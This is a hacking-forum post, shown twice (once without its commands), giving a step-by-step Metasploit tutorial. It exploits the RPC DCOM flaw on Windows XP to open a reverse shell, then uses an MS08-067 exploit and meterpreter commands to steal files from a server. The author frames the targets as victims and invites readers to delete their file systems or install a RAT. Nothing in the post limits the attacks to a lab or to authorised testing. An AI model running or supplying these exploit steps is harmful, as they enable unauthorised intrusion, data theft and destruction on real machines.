Mar 20, 2014 01:00 AM
(This post was last modified: Mar 20, 2014 10:28 PM by SIM-2015410.)
Hello Hf,
Welcome to another installment of my Metasploit hacking tutorial.
Make sure you have read tutorial 1 and 2 first:Spoiler (Click to View)
This tutorial will again be demonstrating some exploits in the metasploit framework. This exploit works for windows XP, server 2003 and sometimes vista and server 2008
Getting Started
Firstly, we need to start up metasploit.
Windows XP has been around for a long time now, but it is one of the most trusted operating systems in existence, with many users still running it. Windows XP has a common exploitable flaw: RPC DCOM. With a buffer overflow attack, we can execute any code we want on their computer, allowing us to “own” their “box”.
Load the Exploit in Metasploit
To select the exploit we want, we will search the metasploit database using the search command. We want the DCOM exploit:
In the results list, you should see “exploit/windows/dcerpc/ms03_026_dcom”, which is the exploit we will use. Type this command to use it:
Exploit Options
We now need to set the options of the exploit so it will do what we want correctly. Use this command to show the available options for the DCOM exploit:
The first 2 options necessary are RHOST and LHOST. RHOST is the IP address of the targets computer, for example 192.168.1.10. The exploit will use the port 135 to connect to the victim’s computer. This is called binding the port. The LHOST is the IP address of our (the attackers) computer, in this case 192.168.1.8. Set the options like this:
Selecting a Payload
Now to select a payload for the exploit. This will be run by the “buffer overflow” (a type of exploit). Use this command to list available payloads:
We will use a payload to open a reverse shell on our target system, so from the list of payloads, we will select “generic/shell_reverse_tcp”, by using this command:
Run the Exploit!
We can now run the exploit to attack the target PC, using this command:
Simple as that 🙂
Now, we need to open a Shell on the Hacked System. Type the following command to open a command shell on the XP system, which we can control with the metasploit console:
You now “own that box”! You can execute commands such as “dir” to check that you are running correctly, and you then have the power to execute any other commands you wish. Be as merciful or evil as you like, by deleting their entire file system or downloading a RAT onto their system.
TIP:
If you wanted to steal files from a server, you can use this exploit:
with the reverse same reverse_tcp payload. After you run the exploit, use this command to check if the server is currently being used:
If not, browse away! When you have found the file you want, simply download it to your root directory using this command:
Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.
Watch out for future hacking tutorials from me - further metasploit tutorials and other common hacking topics!
Written by MeshCollider 🤝
Welcome to another installment of my Metasploit hacking tutorial.
Make sure you have read tutorial 1 and 2 first:Spoiler (Click to View)
This tutorial will again be demonstrating some exploits in the metasploit framework. This exploit works for windows XP, server 2003 and sometimes vista and server 2008
Getting Started
Firstly, we need to start up metasploit.
Windows XP has been around for a long time now, but it is one of the most trusted operating systems in existence, with many users still running it. Windows XP has a common exploitable flaw: RPC DCOM. With a buffer overflow attack, we can execute any code we want on their computer, allowing us to “own” their “box”.
Load the Exploit in Metasploit
To select the exploit we want, we will search the metasploit database using the search command. We want the DCOM exploit:
Code
msf > search dcomIn the results list, you should see “exploit/windows/dcerpc/ms03_026_dcom”, which is the exploit we will use. Type this command to use it:
Code
msf > use exploit/windows/dcerpc/ms03_026_dcomExploit Options
We now need to set the options of the exploit so it will do what we want correctly. Use this command to show the available options for the DCOM exploit:
Code
msf > show optionsThe first 2 options necessary are RHOST and LHOST. RHOST is the IP address of the targets computer, for example 192.168.1.10. The exploit will use the port 135 to connect to the victim’s computer. This is called binding the port. The LHOST is the IP address of our (the attackers) computer, in this case 192.168.1.8. Set the options like this:
Code
msf > set RHOST 192.168.1.10Code
msf > set LHOST 192.168.1.8Selecting a Payload
Now to select a payload for the exploit. This will be run by the “buffer overflow” (a type of exploit). Use this command to list available payloads:
Code
msf > show payloadsWe will use a payload to open a reverse shell on our target system, so from the list of payloads, we will select “generic/shell_reverse_tcp”, by using this command:
Code
msf > set PAYLOAD generic/shell_reverse_tcpRun the Exploit!
We can now run the exploit to attack the target PC, using this command:
Code
msf > exploitSimple as that 🙂
Now, we need to open a Shell on the Hacked System. Type the following command to open a command shell on the XP system, which we can control with the metasploit console:
Code
sessions –i 1You now “own that box”! You can execute commands such as “dir” to check that you are running correctly, and you then have the power to execute any other commands you wish. Be as merciful or evil as you like, by deleting their entire file system or downloading a RAT onto their system.
TIP:
If you wanted to steal files from a server, you can use this exploit:
Code
msf > use /exploit/windows/smb/ms08_067_netapiCode
meterpreter >idletimeCode
meterpreter > download C:\\folder\examplefileThanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.
Watch out for future hacking tutorials from me - further metasploit tutorials and other common hacking topics!
Written by MeshCollider 🤝




![[Image: TL-468X60-EN.gif]](https://cdn1.tessline.com/banners/en/TL-468X60-EN.gif)